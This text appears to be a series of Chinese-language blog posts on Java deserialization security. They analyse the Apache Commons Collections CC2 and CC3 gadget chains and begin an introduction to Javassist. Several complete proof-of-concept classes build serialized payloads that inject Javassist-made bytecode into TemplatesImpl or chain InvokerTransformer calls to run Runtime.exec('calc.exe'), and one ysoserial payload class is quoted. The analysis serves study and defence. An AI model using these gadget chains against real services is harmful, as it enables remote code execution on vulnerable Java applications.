根据 TransformedMap 利用链完成调用

根据前面的学习，直接给出最终的反序列化 POC：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package com.sec.cc3;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
        import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
        import javassist.ClassPool;
        import javassist.CtClass;
        import org.apache.commons.collections.map.TransformedMap;
        import org.apache.commons.collections.Transformer;
        import org.apache.commons.collections.functors.ConstantTransformer;
        import org.apache.commons.collections.functors.ChainedTransformer;
        import org.apache.commons.collections.functors.InstantiateTransformer;
        import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

        import javax.xml.transform.Templates;
        import java.io.*;
        import java.lang.annotation.Retention;
        import java.lang.reflect.*;
        import java.util.HashMap;
        import java.util.Map;

public class CC3_TransformedMap {
    public static void main(String[] args) throws Exception {
        /*
         * 通过 JAVAssist 创建一个名为 evilClass 的类,
         * 在该类中添加一个 static{} 静态块,
         * 并设置父类为 AbstractTranslet
         */
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        /* 将 evilClass 类转换成字节码 */
        byte[] evilClassBytes = cc.toBytecode();
        byte[][] evilByteCodes = new byte[][]{evilClassBytes};

        /*
         * 获取一个 TemplatesImpl 类的实例对象,
         * 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
         * 并保证 _name 属性的值不为 null
         */
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        Field _name = templatesImpl.getClass().getDeclaredField("_name");
        _bytecodes.setAccessible(true);
        _name.setAccessible(true);
        _name.set(templatesImpl, "test");
        _bytecodes.set(templatesImpl, evilByteCodes);

        /* 通过 InstantiateTransformer 实例化 TrAXFilter 类, 并通过 TrAXFilter 类的构造方法实现 TemplatesImpl.newTransformer() 方法的调用 */
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl}
                )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "test");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor confunc = cls.getDeclaredConstructor(Class.class, Map.class);
        confunc.setAccessible(true);
        InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream b1 = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(b1);
        out.writeObject(AIHObject);
        out.close();
        b1.close();

        System.out.println(b1.toString());

        ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
        ObjectInputStream in = new ObjectInputStream(b2);
        in.readObject();
        in.close();
        b2.close();
    }
}

根据 LazyMap 利用链完成调用

直接给出最终的反序列化 POC：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package com.sec.cc3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
        import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
        import javassist.ClassPool;
        import javassist.CtClass;
        import org.apache.commons.collections.Transformer;
        import org.apache.commons.collections.functors.ConstantTransformer;
        import org.apache.commons.collections.functors.InstantiateTransformer;
        import org.apache.commons.collections.functors.ChainedTransformer;
        import org.apache.commons.collections.map.LazyMap;
        import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

        import javax.xml.transform.Templates;
        import java.lang.annotation.Retention;
        import java.lang.reflect.Constructor;
        import java.lang.reflect.Field;
        import java.lang.reflect.InvocationHandler;
        import java.lang.reflect.Proxy;
        import java.util.HashMap;
        import java.util.Map;
        import java.io.*;

public class CC3_LazyMap {
    public static void main(String[] args) throws Exception {
        /*
         * 通过 JAVAssist 创建一个名为 evilClass 的类,
         * 在该类中添加一个 static{} 静态块,
         * 并设置父类为 AbstractTranslet
         */
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        /* 将 evilClass 类转换成字节码 */
        byte[] evilClassBytes = cc.toBytecode();
        byte[][] evilByteCodes = new byte[][]{evilClassBytes};

        /*
         * 获取一个 TemplatesImpl 类的实例对象,
         * 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
         * 并保证 _name 属性的值不为 null
         */
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        Field _name = templatesImpl.getClass().getDeclaredField("_name");
        _bytecodes.setAccessible(true);
        _name.setAccessible(true);
        _name.set(templatesImpl, "test");
        _bytecodes.set(templatesImpl, evilByteCodes);

        /* 通过 InstantiateTransformer 实例化 TrAXFilter 类, 并通过 TrAXFilter 类的构造方法实现 TemplatesImpl.newTransformer() 方法的调用 */
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl}
                )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("key", "value");
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor confunc = cls.getDeclaredConstructor(Class.class, Map.class);
        confunc.setAccessible(true);
        InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(outerMap.getClass().getClassLoader(), outerMap.getClass().getInterfaces(), AIHObject);
        InvocationHandler AIHObjectFinal = (InvocationHandler) confunc.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream b1 = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(b1);
        out.writeObject(AIHObjectFinal);
        out.close();
        b1.close();

        System.out.println(b1.toString());

        ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
        ObjectInputStream in = new ObjectInputStream(b2);
        in.readObject();
        in.close();
        b2.close();

    }
}

反序列化时弹出计算器

image-20220604213953177

参考

https://mp.weixin.qq.com/s/GgBHP0ZrA_73ELK_QLJWuA

https://www.cnblogs.com/nice0e3/p/13854098.html

]]> <meta name="referrer" content="no-referrer"/> <p>cc3链可以说是cc1和cc2链的结合，下面进行分析。</p> Java安全之Commons Collections2分析 https://kpa1on.github.io/2022/04/28/Java%E5%AE%89%E5%85%A8%E4%B9%8BCommons-Collections2%E5%88%86%E6%9E%90/ 2022-04-28T13:49:24.000Z 2022-09-29T17:43:08.683Z

前言

之前分析了cc1的利用链，但是cc1的利用链是有JDK版本限制的。在JDK8u71版本以后，对AnnotationInvocationHandler的readobject进行了改写，导致高版本中利用链无法使用，这在上文中分析过了。

cc2链中使用的是commons-collections-4.0版本，利用链如下

1
2
3
4
5
6
7
8
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

这里cc2链使用commons-collections-4.0版本的原因是，在3.2.1版本以下TransformingComparator并没有去实现Serializable接口，也就是不可以被序列化的，所以在利用链上就不能使用它去构造。

3.2.1版本

image-20220428220626101

4,0版本

image-20220428220712646

在CC2链里不是利用 AnnotationInvocationHandler来构造，而是使用

javassist和PriorityQueue来构造利用链，所以先来了解下PriorityQueue的基本使用。

PriorityQueue

概念

PriorityQueue 一个基于优先级的无界优先级队列。优先级队列的元素按照其自然顺序进行排序，或者根据构造队列时提供的 Comparator 进行排序，具体取决于所使用的构造方法。该队列不允许使用 null 元素也不允许插入不可比较的对象(没有实现Comparable接口的对象)。
PriorityQueue 队列的头指排序规则最小那个元素。如果多个元素都是最小值则随机选一个。
PriorityQueue 是一个无界队列，但是初始的容量(实际是一个Object[])，随着不断向优先级队列添加元素，其容量会自动扩容，无需指定容量增加策略的细节。

image-20220428221231819

构造方法

1
2
3
4
PriorityQueue()           
使用默认的初始容量（11）创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
使用指定的初始容量创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。

常见方法

1
2
3
4
5
6
7
8
9
10
11
add(E e)           将指定的元素插入此优先级队列
clear()            从此优先级队列中移除所有元素。
comparator()       返回用来对此队列中的元素进行排序的比较器；如果此队列根据其元素的自然顺序进行排序，则返回 null
contains(Object o)          如果此队列包含指定的元素，则返回 true。
iterator()           返回在此队列中的元素上进行迭代的迭代器。
offer(E e)           将指定的元素插入此优先级队列
peek()           获取但不移除此队列的头；如果此队列为空，则返回 null。
poll()           获取并移除此队列的头，如果此队列为空，则返回 null。
remove(Object o)           从此队列中移除指定元素的单个实例（如果存在）。
size()           返回此 collection 中的元素数。
toArray()          返回一个包含此队列所有元素的数组。

代码实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class PriorityQueueTest {
    public static void main(String[] args) {
        PriorityQueue<String> q = new PriorityQueue<String>();
        //入列
        q.add("2");
        q.add("1");
        q.add("5");
        q.add("3");
        q.add("4");
        //出列
        System.out.println(q.poll());  //1
        System.out.println(q.poll());  //2
        System.out.println(q.poll());  //3
        System.out.println(q.poll());  //4
        System.out.println(q.poll());  //5
    }
}

image-20220428221648204

观察打印结果， 入列：21534， 出列是12345， 也是说出列时做了相关判断，将最小的值返回。默认情况下PriorityQueue使用自然排序法，最小元素先出列。

TransformingComparator

TransformingComparator是一个修饰器，和CC1中的ChainedTransformer类似。

image-20220428221853556这个类有个compare()方法，会调用Transformer#transform()方法，根据前面的学习，猜测这里可能存在利用点，那具体该怎么利用呢，是否真的可以利用呢，下面开始分析。

TransformingComparator.compare()

org.apache.commons.collections4.comparators.TransformingComparator 类中提供了 compare() 方法，在该方法中对 this.transformer 调用了 transform() 方法，如果this.transformer可控，那么就可以利用该方法执行 ChainedTransformer.transform() 方法，并进入之前构造好的 java.lang.Runtime.getRuntime().exec() 调用链。

那现在查看下this.transformer是如何被赋值的。

在TransformingComparator的构造方法中，看到了赋值情况，并且两个构造方法都是被public关键字修饰的

image-20220428222500043

也就是说，this.transformer 完全可控，我们可以将 this.transformer 指向 ChainedTransformer 对象来执行 ChainedTransformer.transform() 方法。

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
public class TransformingComparatorTest1 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
        transformingComparator.compare("test","test");
    }
}

image-20220428222750807

成功弹出计算器，但是可以看到控制台报错了

image-20220428222855008

根据报错信息，可以大致推断应该是类型转换有问题，而且运行的时候是先弹出计算器，后报错的，所以在下面的代码处打上断点

image-20220428223102363

进入compare()方法

image-20220428223235001

这里的transformer被赋值为ChainedTransformer，然后调用trasnform()方法弹出计算器，所以我们重点就看函数的最后一行代码

image-20220428223451003

进入，在方法的注释中可以看到异常的信息说明，大致就是如果传入的参数不实现Comparable可就会产生这个报错。

image-20220428223652822

在这也看到，使用了泛型来约束传入的类型

image-20220428223811362

报错原因找到了之后，但上述的代码只是手动调用compare()方法弹出计算器，那现在如何使 TransformingComparator.compare() 方法自动调用呢？我们在 Java 内置的 PriorityQueue 类中找到了一条可行的路子。

PriorityQueue.readObject()

PriorityQueue 类的 readObject() 方法中调用了一个 heapify() 方法

image-20220428224041303

PriorityQueue.heapify()

跟进 heapify() 方法，发现其调用了 siftDown() 方法，这里存在一个for循环，要想进入循环需要满足i = (size >>> 1) - 1 >= 0，即 size >= 2，这里的size指的是队列中元素的个数。

image-20220428224138782

PriorityQueue.siftDown()

跟进 siftDown() 方法，发现如果 comparator 变量不为空，将调用 siftDownUsingComparator() 方法：

image-20220428224409958

PriorityQueue.siftDownUsingComparator()

跟进 siftDownUsingComparator() 方法，发现会调用 comparator#compare() 方法

image-20220428224545847

结合前面的compare()方法的利用，如果comparator可控的话，让它指向前文中构造的 TransformingComparator 对象，那么就可以执 TransformingComparator.compare() 方法了。那么，找一下comparator是怎么被赋值的。

查看 PriorityQueue 类的构造方法，其第 1 个参数用于指定队列的初始容量，第 2 个参数将赋值给 this.comparator，并且该构造方法对外开放，因此 comparator 变量完全可控

image-20220428230103189

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package cc2;


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.util.PriorityQueue;

public class TransformingComparatorTest2 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod",
//                    new Class[] {String.class, Class[].class},
                        new Class[] {String.class, Class[].class},
                        new Object[]{"getRuntime", null}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
//      transformingComparer.compare("test", "test");

        PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);
        objectOutputStream.close();
        byteArrayOutputStream.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
        objectInputStream.close();
        byteArrayInputStream.close();


    }
}

运行之后，计算器弹出来了，但报错了

image-20220428232853231

根据前面的报错分析，在调用comparator.compare()后，提示 “java.lang.ProcessImpl cannot be cast to java.lang.Comparable”，因为类型不符而报错，和上面那个报错是一样的，但是根据调试发现，程序在反序列化之前就弹出计算器了，那看看是怎么个调用的过程，

在如下地方打下断点

image-20220428233554728

跟进add()方法，发现调用了offer()方法

image-20220428233637971

跟进发现在offer()方法里会有一些if判断，这里如果i！=0就会调用siftUp()方法，第一次调用add()方法时，这里的i=0，即你不会调用siftUp()方法，当第二次调用add()方法时，就会进入，i=1，就进入siftUp()方法

image-20220428233712788

跟进siftUp()方法

image-20220428234015319

这里判断comparator是否为空，如果为不空，就调用siftUpUsingComparator()方法，为空则调用siftUpComparable()方法，跟进siftUpUsingComparator()方法，这里会调用comparator#compare()方法，进而导致了计算器的弹出和报错的产生。

image-20220428234123995

我们返回，跟进siftUpComparable()方法，这里不会导致后续调用链的发生

image-20220428234310116

这里防止报错的关键是让comparator在add()方法调用的时候为空，实例化 PriorityQueue 对象后再通过反射将 comparator 设为 TransformingComparator 对象。

所以，优化代码后，可构造如下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;

public class TransformingComparatorTest3 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                // 传入 java.lang.Runtime 类
                new ConstantTransformer(Runtime.class),
                // 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),
                // 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ),
                // 反射调用 exec() 方法
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"}
                )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(2);

        Field comparator = queue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(queue, transformingComparator);

        ByteArrayOutputStream b1 = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(b1);
        out.writeObject(queue);
        out.close();
        b1.close();

        System.out.println(b1.toString());

        ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
        ObjectInputStream in = new ObjectInputStream(b2);
        in.readObject();
        in.close();
        b2.close();
    }
}

在进行反序列化的过程中会报同样的错误，但是在报错前就成功执行命令并弹出了计算器

image-20220428235510084

整个 Gadget Chain 的调用过程如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PriorityQueue.readObject()
    PriorityQueue.heapify()
     PriorityQueue.siftDown()
   PriorityQueue.siftDownUsingComparator()
    TransformingComparator.compare()
     ChainedTransformer.transform()
         ConstantTransformer.transform()
      InvokerTransformer.transform()
       Method.invoke()
       Class.getMethod()
      InvokerTransformer.transform()
       Method.invoke()
        Runtime.getRuntime()
      InvokerTransformer.transform()
       Method.invoke()
        Runtime.exec()

image-20220429000138216

Ysoserial 利用链分析

对于 Commons Collections 2 这条链，ysoserial 利用的是 TemplatesImpl 类来进行利用的，代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package ysoserial.payloads;

import java.util.PriorityQueue;
import java.util.Queue;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
 */

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args);
}

}

下面分析下TemplatesImpl 是怎么利用的

TemplatesImpl.getTransletInstance()

函数中可以看到有一处newInstance()方法的调用

image-20220429001031837

在对类进行 newInstance() 实例化操作时，会首先执行类中的无参数构造方法或 static{} 静态块中的内容，下面为测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package cc2;

import java.io.IOException;

public class StaticTest {
    public static void instance(Class className) throws InstantiationException, IllegalAccessException {
        className.newInstance();
    }
    public static void main(String[] args) throws InstantiationException, IllegalAccessException {
        instance(EvalClass.class);
    }
}
class EvalClass{
//    static{
//        try {
//            Runtime.getRuntime().exec("calc.exe");
//        } catch (IOException e) {
//            e.printStackTrace();
//        }
//    }
    public EvalClass() {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package cc2;

import java.io.IOException;

public class StaticTest {
    public static void instance(Class className) throws InstantiationException, IllegalAccessException {
        className.newInstance();

    }

    public static void main(String[] args) throws InstantiationException, IllegalAccessException {
        instance(EvalClass.class);
    }

}
class EvalClass{
//    static{
//        try {
//            Runtime.getRuntime().exec("calc.exe");
//        } catch (IOException e) {
//            e.printStackTrace();
//        }
//    }
    public EvalClass() {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

结果如下

image-20220429001232664

可以看到_class[]为存放这Class类的数组，如果控制 _class[_transletIndex] 的值，使其指向我们精心构造的的类，那么，在执行newInstance() 实例化恶意类时，就会触发恶意代码执行

image-20220429001353107

TemplatesImpl.defineTransletClasses()

要想执行newInstance()方法，需要满足前面的条件，_name不为空

image-20220429001716751

在执行newInstance()方法前会进入 defineTransletClasses() 方法，进入

image-20220429002212264

在方法中，可以看到在414行代码处，会调用load.defineClass()，学过类加载的知识就知道这里时将 _bytecodes[i] 中的字节码转换成类，并且在下面的if语句中会对转换的类名进行了一个判断，判断父类的类名是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ，满足的话就会将索引 i 赋给 _transletIndex，也就是说要想在下面调用newInstance()实例化恶意类，就需要满足我们这个恶意类继承AbstractTranslet。可以知道这里触发的关键在于_bytecodes的赋值，

image-20220429002816622

这里的思路是通过反射获取 _bytecodes，将恶意类的字节码添加到 _bytecodes 中作为一个元素，然后将字节码转换成类并添加到_class[]中，当调用 TemplatesImpl.getTransletInstance() 方法时，执行_class[_transletIndex].newInstance() 进行恶意类的实例化，从而执行恶意代码。

现在只需要找到调用getTransletInstance() 方法的地方

TemplatesImpl.newTransformer()

在当前类中搜索getTransletInstance()，发现在newTransformer()方法中会调用getTransletInstance()

image-20220429003326311

可以利用InvokerTransformer 类里的可控反射来调用getTransletInstance() 方法，即构造如下利用链

1
2
3
4
5
6
7
8
9
10
PriorityQueue.readObject()
    PriorityQueue.heapify()
     PriorityQueue.siftDown()
   PriorityQueue.siftDownUsingComparator()
    TransformingComparator.compare()
     InvokerTransformer.transform()
      Method.invoke()
       TemplatesImpl.newTransformer()
        TemplatesImpl.getTransletInstance() -> newInstance()
         Runtime.getRuntime().exec()

构造的poc如下，和ysoserial的poc差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;

public class TransformingComparatorTestExp {
    public static void main(String[] args) throws Exception {
        /* 设置通过 InvokerTransformer.transform() 调用 newTransformer() 方法 */
        InvokerTransformer transformers = new InvokerTransformer(
                "newTransformer",
                new Class[0],
                new Object[0]
        );

        TransformingComparator transformingComparator = new TransformingComparator(transformers);
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue, transformingComparator);

        /*
         * 通过 JAVAssist 创建一个名为 evilClass 的类,
         * 在该类中添加一个 static{} 静态块,
         * 并设置父类为 AbstractTranslet
         */
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        /* 将 evilClass 类转换成字节码 */
        byte[] evilClassBytes = cc.toBytecode();
        byte[][] evilByteCodes = new byte[][]{evilClassBytes};

        /*
         * 获取一个 TemplatesImpl 类的实例对象,
         * 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
         * 并保证 _name 属性的值不为 null
         */
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        Field _name = templatesImpl.getClass().getDeclaredField("_name");
        _bytecodes.setAccessible(true);
        _name.setAccessible(true);
        _name.set(templatesImpl, "test");
        _bytecodes.set(templatesImpl, evilByteCodes);

        /*
         * 通过反射获取 PriorityQueue 对象中的 queue 数组,
         * 并将准备好的 TemplatesImpl 对象添加到这个 queue 数组中,
         * 以保证后续执行 InvokerTransformer.transform() 时成功调用 TemplatesImpl 对象中的 newTransformer() 方法
         */
        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        queue.set(priorityQueue, new Object[]{templatesImpl, 1});

        ByteArrayOutputStream b1 = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(b1);
        out.writeObject(priorityQueue);
        out.close();
        b1.close();

        System.out.println(b1.toString());

        ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
        ObjectInputStream in = new ObjectInputStream(b2);
        in.readObject();
        in.close();
        b2.close();
    }
}

运行结果如下

image-20220429003933584

调用链

image-20220429010903433

参考

https://mp.weixin.qq.com/s/7k4dlQ9pI1X0Smhcb-HOgA

https://www.cnblogs.com/nice0e3/p/13860621.html

]]> <meta name="referrer" content="no-referrer"/> <h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>之前分析了cc1的利用链，但是cc1的利用链是有JDK版本限制的。在JDK8u71版本以后，对<code>AnnotationInvocationHandler</code>的<code>readobject</code>进行了改写，导致高版本中利用链无法使用，这在上文中分析过了。</p> Java安全之Javassist动态编程 https://kpa1on.github.io/2022/04/27/Java%E5%AE%89%E5%85%A8%E4%B9%8BJavassist%E5%8A%A8%E6%80%81%E7%BC%96%E7%A8%8B/ 2022-04-27T14:19:12.000Z 2022-09-29T17:43:54.103Z

动态编程

动态编程是相对于静态编程而言的,平时我们讨论比较多的就是静态编程语言，例如Java，与动态编程语言，例如JavaScript。

那二者有什么明显的区别呢？简单的说就是在静态编程中，类型检查是在编译时完成的，而动态编程中类型检查是在运行时完成的。所谓动态编程就是绕过编译过程在运行时进行操作的技术，在Java中有如下几种方式：

反射
这个搞Java的应该比较熟悉，原理也就是通过在运行时获得类型信息然后做相应的操作。

动态编译
动态编译是从Java 6开始支持的，主要是通过一个JavaCompiler接口来完成的。通过这种方式我们可以直接编译一个已经存在的java文件，也可以在内存中动态生成Java代码，动态编译执行。

调用JavaScript引擎
Java 6加入了对Script(JSR223)的支持。这是一个脚本框架，提供了让脚本语言来访问Java内部的方法。你可以在运行的时候找到脚本引擎，然后调用这个引擎去执行脚本。这个脚本API允许你为脚本语言提供Java支持。

动态生成字节码

这种技术通过操作Java字节码的方式在JVM中生成新类或者对已经加载的类动态添加元素。

方式：

ASM：直接操作字节码指令，执行效率高，要是使用者掌握Java类字节码文件格式及指令，对使用者的要求比较高。

Javassit ：提供了更高级的API，执行效率相对较差，但无需掌握字节码指令的知识，对使用者要求较低。

什么是Javassist

